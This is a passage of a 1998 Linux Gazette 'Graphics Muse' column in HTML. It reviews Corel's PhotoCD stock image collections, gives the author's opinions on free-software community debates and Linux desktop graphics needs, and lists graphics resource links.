didn't have much need to mess with it, although I do have to remove the
Apache logs fairly often (12Mb of logs in less than 5 days causes me to
keep running over my disk quota). So I was a little unsure of what
to write about for this months Web Wonderings. That is until I wondered
through a local computer retail outlet. There on the shelves I found
a number of Corel's Super Ten Pack CD image collections.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Normally I wouldn't consider
using stock photos from Web-style CD collections because the quality of
the photos generally isn't much better than what I can take myself.
Additionally, most of those "25,000 (or more) Image" collections you find
on the shelves come with images suitable only for the Web - generally no
more than about 1024x768 resolution. These usually are far too small
for any other media.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>But an article in the September
1998 issue of Digital Video magazine covering stock image collections mentioned
the Corel image collections, including their Super Ten Packs, as a source
of quality stock images. Since I trust this magazine more than my
own common sense (which is still rather new to the graphic arts world)
and due to Corel's fairly full-blown support for Linux, I decided to check
out one or two of these collections.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What is a Corel Super
Ten Pack?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The Super Ten Packs are collections
of 10 CD's, each with 100 PhotoCD images on them. The current collections
are classified into a number of different categories:</FONT></FONT>
<BR>
<CENTER><TABLE BORDER=0 CELLSPACING=5 CELLPADDING=0 COLS=3 NOSAVE >
<TR NOSAVE>
<TD WIDTH="180" NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Aircraft</FONT></FONT></TD>
<TD WIDTH="160" NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Food</FONT></FONT></TD>
<TD WIDTH="180" NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Seasons</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Animals</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Gardens</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Sports & Leisure</FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Architecture</FONT></FONT></TD>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Great Works of Art</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Textures</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Art, Sculpture, & Design</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Landmarks</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Textures II</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Business & Industry</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Museums & Artifacts</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Textures & Patterns</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Canada</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Nature</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Textures & Patterns
II</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Cars</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>People</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Transportation</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>England</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>People II</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Travel</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Fashion</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>People III</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Underwater</FONT></FONT></TD>
</TR>
</TABLE></CENTER>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There is also a Sampler Ten
pack. The sampler set has CD's titled, among others, "War", "Alien
Landscapes" and "Success". Unfortunately the limited documentation
doesn't say from which other Ten Pack's these samples are taken.
I expect that Corel will expand this list further as well, since they tend
to produce a large number of stock photography CDs in general.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The images are royalty free
but there are some restrictions to their use. First, you must display
the following text somewhere in your publication:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This product/publication
includes images from [insert full name of Corel product] which are protected
by the copyright laws of the U.S., Canada and elsewhere. Used under license.</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Since I'm reviewing the CDs
in general I hope the above counts towards my meeting this requirement.
They also limit online display of the images to 512 X 768, but that may
be only if you display the image unmodified. Its not clear about
if such restrictions exist for derivative works that use the images.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>How do you get them?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The Super Ten Packs are available
at computer retail outlets or online. I purchased my two sets from
MicroCenter here in Dallas. Corel's online site contains thumbnails
of all the images from their huge collection of images so that you can
preview them before purchase. All of the online versions have watermarks
so don't get any ideas about trying to swipe them from their site (unless
you like watermarked images).</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Online ordering can be done
at <A HREF="http://www.corel.com/products/clipartandphotos/photos/superten.htm">http://www.corel.com/products/clipartandphotos/photos/superten.htm</A>.
You can also search for individual images and order those online at <A HREF="http://corel.digitalriver.com/">http://corel.digitalriver.com/</A>.
I didn't check to see if you could actually order the photos individually
or just in the sets that contain them but a reliable resource who has used
the service in the past suggested you could purchase them individually.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>When you go to http://corel.digitalriver.com/
just click on the Photo CD package image to get a list of titles.
From there you can click on the individual CDs to preview all of the images
on each CD. Each CD runs about $35-$45US.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What do you actually get?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I purchased two different
sets, the Sampler Ten Pack and the Textures II Ten Pack. Both run
a little higher at the retail outlet, as expected, and came in boxed sets.
Inside the box I found the 10 CD's shrink wrapped along with a small pamphlet.
The pamphlet had the obligatory licensing information along with full color
thumnail images of all the images on each CD, one page per CD. This
is quite useful and something I hadn't quite expected for some reason.</FONT></FONT>
<P><IMG SRC="./gx/hammel/pcd-plug-in.jpg" HSPACE=10 VSPACE=10 HEIGHT=312 WIDTH=157 ALIGN=LEFT><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The
images on the CD come in PhotoCD format. This format specifies 5
different image sizes:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>128x192</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>256x384</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>512x768</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>1024x1536</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>2048x3072</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>To read this format you have
a couple of options. First, the <B><FONT COLOR="#CC6600">Gimp</FONT></B>
has a <B><FONT COLOR="#CC6600">PhotoCD file plug-in</FONT></B>. You
can tell if you have this plug-in installed if you try to open an existing
file and the <I>Open Options</I> menu includes an entry for <B>PCD</B>.
If you try to open a file from the CD by double clicking on the filename
in the Load Image dialog then the plug-in is started and you get the dialog
shown at left. You'll notice that this plug-in offers the additional
resolution of 4096x6144. I'm not certain if this is a valid PhotoCD
resolution or not, but it didn't seem to matter. Unfortunately, I
was unable to read any of the images from the CD in resolutions higher
than 512x768 using this plug-in. I had to switch to an alternative
option, the <B><FONT COLOR="#CC6600">hpcdtoppm</FONT></B> tool from <B><FONT COLOR="#CC6600">NetPBM</FONT></B>
package. With this program I could read the higher resolutions -
up to 2048x3072 - into a PPM formatted file which I could then load into
the Gimp. I didn't have time to determine if the problem was with
the Gimp plug-in or the CDs, but I suspect the plug-in is at fault since
I could read the higher resolutions with hpcdtoppm. Note that this
plug-in works fine for resolutions up to 512x768.</FONT></FONT>
<BR>
<BR>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>[ <A HREF="webwonderings.html">More
Web Wonderings</A> ]</FONT></FONT>
<BR>
<HR NOSHADE WIDTH="100%">
<P><A NAME="musings"></A>
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=3 COLS=2 NOSAVE >
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP WIDTH="245" NOSAVE><IMG SRC="../gx/hammel/musings.jpg" HEIGHT=50 WIDTH=245></TD>
<TD NOSAVE>
<CENTER><TABLE BORDER CELLSPACING=0 CELLPADDING=3 COLS=1 WIDTH="100%" BGCOLOR="#FE992B" NOSAVE >
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="musings.html#video-cards">Off
the shelf video cards: choosing the right solution the first time.</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="musings.html#metro-xinput">Metro
Link X Input Support</A></FONT></FONT></TD>
</TR>
</TABLE></CENTER>
</TD>
</TR>
</TABLE>
<H2>
<FONT FACE="Arial,Helvetica">State of the DisUnion</FONT></H2>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Its been two years since I started
the Graphics Muse column in the Linux Gazette. In that time I've
watched Linux grow in ways many people felt possible but few could guarantee
would actually happen. I've also watched, with some dismay, the numerous
battles being fought within our community and beyond. So, I'd like
to take this opportunity to just place my opinion on the record on a few
of the issues we've all faced these past two years. If you are easily
annoyed by other peoples opinions then just skip down to the bit on <A HREF="#where-to-go">Where
to go from here</A> or jump over to the <A HREF="musings.html#video-cards">off
the shelf video cards</A> article.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT COLOR="#660000"><FONT SIZE=-1>RMS
vs. Raymond vs Users</FONT></FONT></FONT></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Both RMS (Richard
M. Stallman) and Eric Raymond have done wonders for the community and both
should be applauded for their efforts and dedication. However their
spirited enthusiasm, in the manner and form which they display in public,
is not necessarily what we need now. Linux and free software/Open
Software is a community, one that has grown beyond its bare communal spirit
and now encompasses a metropolitan mix of individuals and groups.
And that mix includes a high number of end users - not developers, not
hackers - users. I wonder now if either RMS or Raymond is truly interested
in the end user or is their focus solely on the developers needs.
At this point, the community needs to focus on both.</FONT></FONT></BLOCKQUOTE>
<B><FONT FACE="Arial,Helvetica"><FONT COLOR="#660000"><FONT SIZE=-1>Commercial
vs. Free and World Domination</FONT></FONT></FONT></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Unlike many Linux
fans, I have no problem with commercial (re: proprietary) software.
There are people who both need and desire commercial software, regardless
of what developers might find as the higher moral ground. I personally
will use the tools which best suit my needs. I have always wanted
a Unix desktop, ever since my days working on the Dell Unix products in
the early 1990's and Linux is it for me. If commercial applications
begin to show up that work well for me, I will use them. I already
use Applixware and commercial versions of the sound drivers and X server.
You don't have to encourage commercial development, but you shouldn't attack
them either. Having a different point of view does not make someone
wrong or generally evil in all cases. If you provide alternatives
to commercial products you'll find many people who will both use and support
those alternatives. But to disuade others from using commercial products
without first providing the alternative is tantamount to using the same
tactics Microsoft uses with their vaporware announcements. Convince
by doing first. It makes the counter argument, the argument for commercial
or proprietary software, more difficult to sustain.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>On a related subject:
World Domination by Linux is not a goal I seek. The first reason
is obvious - if you displace Microsoft you lose the strongest focal point
that currently exists for the free software movement - the drive to displace
Microsoft. It is a bit of a catch-22 scenario, but I'd rather have
Microsoft stay strong to keep developers on edge in the Linux community.
They seem to thrive on that. Without real leadership in our community
(and I'm not convinced we have that one strong individual or group that
can claim that leadership role) it is imperitive that the strong focal
point be kept clear. Focus is key in any project, be it writing software
or climbing mountains or writing columns like this one.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The other reason I don't
want world domination is I really don't want to replace one egotistical
maniac with several thousand (or million). Great developers are egotistical
- its a form of self confidence not unlike that displayed by great artists.
But I wouldn't want either in charge of my personal computing world.
They see the world from their perspective and that perspective can be clouded
by their own intellect. It can be difficult to see the frustration
of others when their problems may seem trivial to you and easily solved.
Instead, I'd rather have the ability to control my own computing environment
by having the opportunity to choose between multiple solutions to similar
problems. I'd love to see the Mac and BeOS expand their market share
because, in the end, it only opens up my vistas of choice. And thats
what Linux is really about for end users. Freedom of choice.</FONT></FONT></BLOCKQUOTE>
<B><FONT FACE="Arial,Helvetica"><FONT COLOR="#660000"><FONT SIZE=-1>Vi
vs. Emacs</FONT></FONT></FONT></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Vi, of course.
Unless I have to write a book or article for non-Linux publishers.
Then ApplixWords.</FONT></FONT></BLOCKQUOTE>
<B><FONT FACE="Arial,Helvetica"><FONT COLOR="#660000"><FONT SIZE=-1>Red
Hat or Debian or S.u.S.E?</FONT></FONT></FONT></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Depends on what
you want and where you live mostly. All three produce decent distributions.
I tend to think of Debian as aimed more towards the technical crowd while
the other two are more amenable to the average Joe. I use Red Hat
4.2. Why? Because 2 years ago when I was ready to upgrade from
my Slackware distribution I went into SoftPro Books in Denver and found
Red Hat abundantly stocked. S.u.S.E wasn't there yet. Neither
was Debian. It was a simple choice back then, really. But like
Linux in general, the good news is that I have choices. Thats important.
I'll be upgrading again at the start of the year, probably in February.
By that time most of the kinks with dealing with libc/glibc should be worked
out from the installation point of view. I may go with Red Hat 5.2
if its out by then. But S.u.S.E sure has had a lot of good press
too. But it probably doesn't matter that much. I don't even
use RPM's on my machine except during an initial installation. After
that, I install free software from source and commercial packages from
CDs (in whatever form they come in).</FONT></FONT></BLOCKQUOTE>
<B><FONT FACE="Arial,Helvetica"><FONT COLOR="#660000"><FONT SIZE=-1>GPL,
LGPL, NPL, or Artistic License</FONT></FONT></FONT></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>See what I mean?
Choice. This sort of thing seldom crops up in the Microsoft world.
Which is best? I won't say. Of all the arguments that have
arisen repeatedly the past 2 years, this one is most certainly one of personal
choice. I will recommend, however, that if you consider releasing
software to the free/Open community that you read through each of these
and try to understand them before releasing and before creating your own
license. I did the latter. It was a bad choice.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>GPL: <A HREF="http://www.gnu.org/copyleft/gpl.html">http://www.gnu.org/copyleft/gpl.html</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>LGPL: <A HREF="http://www.gnu.org/copyleft/lgpl.html">http://www.gnu.org/copyleft/lgpl.html</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>NPL: <A HREF="http://www.mozilla.org/NPL/">http://www.mozilla.org/NPL/</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Artistic: <A HREF="http://language.perl.com/misc/Artistic.html">http://language.perl.com/misc/Artistic.html</A></FONT></FONT></BLOCKQUOTE>
<A NAME="where-to-go"></A><B><FONT FACE="Arial,Helvetica"><FONT COLOR="#660000"><FONT SIZE=-1>Where
to go from here - Desktop Graphics</FONT></FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Ok, I've blabbered on for
too long with my own opinions that really have nothing to do with graphics
on Linux. I need to focus. What do we have now and what do
we need? How do we get it? And who are "we"?'</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>We are the people who desire
the tools to do the graphics arts work from which we both find enjoyment
and make our livings. As of now, the tools for Linux are mostly geared
toward Web development, a medium born from the same family as the images
we create. Most of the tools are command line driven, with a few
GUI-based tools like the Gimp or perhaps ImageMagick. But we lack
certain features to go beyond Web images. We lack any real form of
color management in the Gimp needed for prepress operations. We have
3D modellers but are they sufficient for commercial animation work?
And what about video editing tools? Nothing exists at this point
beyond one project in a very early stage. We have some hardware acceleration
for 3D video chipsets but lack consistant support from vendors. Most
important, we need a desktop that makes porting of applications - or writing
new ones - inviting to those who need to interact with other tools.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There are plenty of tools
available for commercial artists and effects houses that already exist
on other Unix platforms. What would it take to make those people
want to migrate to Linux? Vendors are fond of saying that end user
demand is what drives ports to new platforms. We need to know if
the demand exists and if not, then why not. I've spoken to two effects
houses in the past who use Linux in rendering farms (groups of Linux servers
number crunching 3D images with little to no user interaction). Linux
as a server once more. Is Linux not appropriate as the front end
of the special effects development process? What about for Desktop
Publishing? All you Quark and Adobe users - what do we need?
Would you use the ports if they were made available?</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I write this column out of
a desire to learn about computer graphics. The only graphics tools
I'd ever used before moving to Linux were MacDraw and MicroGrafix under
DOS many years ago. I'm not familiar with the Adobe series of graphics
programs, nor Quark Express, nor the SoftImage tools or other SGI-based
applications. I need feedback from users of these tools to know what
to pass on to the rest of my readership. There are likely to be a
few who would be willing to work on projects, if they new what needed to
be done. And grass roots efforts by end users to convince commercial
vendors that ports of existing applications to Linux would be worth their
effort are also needed. Corel appears to be porting all their applications
to Linux. I assume this means Corel Draw will be coming out sometime
in the next 6 months. At least then I can see what a commercial application
looks like. If I could only get my hands on Adobe Premier or Quark
Express for Linux.....</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Most important of all, I
need to know what the readers need - desktop tools for the small prepress
environment? Web tools? High end graphics tools for research
and the entertainment industries? Perhaps multimedia authoring tools?
Or just simple tools for doing common tasks at home, those that are readily
available for the Mac and MS platforms and cost a buck and a quarter at
the local computer retail outlet.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Graphics on Linux needs focus.
We have the kernel supporters and the desktop supporters who have driven
the server side of Linux to the point that the rest of the world is not
only aware of Linux but enthusiastic about joining the community.
Now we need the graphics folks to mobilize and show that we can go beyond
the realm of back room servers.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Or can we?</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>[ <A HREF="musings.html">More
Musings</A> ]</FONT></FONT>
<BR>
<TABLE BORDER=0 COLS=1 WIDTH="100%" BGCOLOR="#000000" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><IMG SRC="apr98/images/cleardot.gif" HEIGHT=2 WIDTH=2></TD>
</TR>
</TABLE>
<A NAME="rsrc"></A><IMG SRC="../gx/hammel/resources.jpg" HEIGHT=50 WIDTH=245>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The following links are
just starting points for finding more information about computer graphics
and multimedia in general for Linux systems. If you have some application
specific information for me, I'll add them to my other pages or you can
contact the maintainer of some other web site. I'll consider adding other
general references here, but application or site specific information needs
to go into one of the following general references and not listed here.</FONT></FONT>
<BR>
<TABLE BORDER=0 COLS=2 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Online Magazines
and News sources </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.news.com/">C|Net
Tech News</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.eklektix.com/lwn/">Linux
Weekly News</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://slashdot.org/">Slashdot.org</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>General Web Sites </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.graphics-muse.org/linux/lgh.html">Linux
Graphics mini-Howto</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.graphics-muse.org/ugu/ugu.html">Unix
Graphics Utilities</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.bright.net/~dlphilp/linux_soundapps.html">Linux
Sound/Midi Page</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Some of the Mailing Lists
and Newsgroups I keep an eye on and where I get much of the information
in this column </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.gimp.org">The
Gimp User and Gimp Developer Mailing Lists</A>. </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.irtc.org">The
IRTC-L discussion list</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="news:comp.graphics.rendering.raytracing">comp.graphics.rendering.raytracing</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="news:comp.graphics.rendering.renderman">comp.graphics.rendering.renderman</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="news:comp.graphics.api.opengl">comp.graphics.api.opengl</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="news:comp.os.linux.announce">comp.os.linux.announce</A></FONT></FONT></TD>
<TD><IMG SRC="../gx/hammel/gmuse-2.jpg" HSPACE=10 BORDER=2 HEIGHT=248 WIDTH=200></TD>
</TR>
</TABLE>
<A NAME="future"></A>
<H2>
Future Directions</H2>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Next month:</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:mjhammel@graphics-muse.org">Let
me know what you'd like to hear about!</A></FONT></FONT>
<BR>
<HR NOSHADE WIDTH="100%">
<DIV ALIGN=right><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>© 1998
<A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></FONT></DIV>
<!--===================================================================-->
<P> <HR> <P>
<center><H4>Previous ``Graphics Muse'' Columns</H4></center>
<p>
<A HREF="../issue11/gm.html">Graphics Muse #1, November 1996</A><BR>
<A HREF="../issue12/gm.html">Graphics Muse #2, December 1996</A><BR>
<A HREF="../issue13/gm.html">Graphics Muse #3, January 1997</A><BR>
<A HREF="../issue14/gm.html">Graphics Muse #4, February 1997</A><BR>
<A HREF="../issue15/gm.html">Graphics Muse #5, March 1997</A><BR>
<A HREF="../issue16/gm.html">Graphics Muse #6, April 1997</A><BR>
<A HREF="../issue17/gm.html">Graphics Muse #7, May 1997</A><BR>
<A HREF="../issue18/gm.html">Graphics Muse #8, June 1997</A><BR>
<A HREF="../issue19/gm.html">Graphics Muse #9, July 1997</A><BR>
<A HREF="../issue20/gm.html">Graphics Muse #10, August 1997</A><BR>
<A HREF="../issue22/gm.html">Graphics Muse #11, October 1997</A><BR>
<A HREF="../issue23/gm.html">Graphics Muse #12, December 1997</A><BR>
<A HREF="../issue25/gm.html">Graphics Muse #13, February 1998</A><BR>
<A HREF="../issue26/gm.html">Graphics Muse #14, March 1998</A><BR>
<A HREF="../issue27/gm.html">Graphics Muse #15, April 1998</A><BR>
<A HREF="../issue31/gm.html">Graphics Muse #16, August 1998</A><BR>
<A HREF="../issue32/gm.html">Graphics Muse #17, September 1998</A><BR>
<A HREF="../issue32/gm.html">Graphics Muse #18, October 1998</A>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Michael J. Hammel <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./staff.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./nw_burger.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<!-- =============================================================
These pages are designed by Michael J. Hammel. Permission to
use all graphics and other content is granted provided you give
me (or the original authors/artists) credit for the work and this
copyright notice is not removed.
(c)1997, 1998 Michael J. Hammel (mjhammel@graphics-muse.org)
============================================================= !-->
<BR><IMG SRC="../gx/hammel/mews.jpg" HEIGHT=50 WIDTH=245>
<TABLE WIDTH="100%" >
<TR>
<TD ALIGN=RIGHT WIDTH="100%"><FONT SIZE=-2>© 1998 <A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></TD>
</TR>
<TR>
<TD VALIGN=TOP BGCOLOR="#000000" cellpadding="0" cellspacing="0"><IMG SRC="../gx/hammel/cleardot.gif" ALT="indent" ALIGN=LEFT></TD>
</TR>
</TABLE>
<TABLE BORDER=0 COLS=3 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP WIDTH="140" NOSAVE>
<TABLE BORDER CELLSPACING=0 CELLPADDING=2 COLS=1 WIDTH="100%" HEIGHT="100%" BGCOLOR="#FE992B" NOSAVE >
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#blender">Blender
Manual</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#moxy">Moxy 0.1.2</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#quickimage">Quick
Image Viewer 0.9.1</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#gqviewer">GQView
0.4.3</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#fltk">FLTK
19981006</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#xawtv">XawTV
2.28</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#jmkfonts">jmk-x11-fonts
1.2</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#killustrator">KIllustrator</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#mathmap">MathMap</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#metro-x">Metro-X
4.3</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT SIZE=-1><A HREF="#gnu-plotutils">GNU PlotUtils 2.1.6</A></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#direct-media">Simple
DirectMedia Layer Version 0.8</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#tkscanfax">tkscanfax</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#mam-vrs">MAM/VRS</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#xig">Xi Graphics</A></FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SiS 5598</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>NeoMagic, Toshiba, Gateway,
benchmarks</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D Hardware Support</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Monthly drawing for FREE Accelerated-X</FONT></FONT></LI>
</UL>
</TD>
</TR>
</TABLE>
</TD>
<TD WIDTH="1" NOSAVE></TD>
<TD ALIGN=LEFT VALIGN=TOP NOSAVE>
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=3 COLS=1 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B>Disclaimer</B>:
Before I get too far into this I should note that any of the news items
I post in this section are just that - news. Either I happened to run across
them via some mailing list I was on, via some Usenet newsgroup, or via
email from someone. I'm not necessarily endorsing these products (some
of which may be commercial), I'm just letting you know I'd heard about
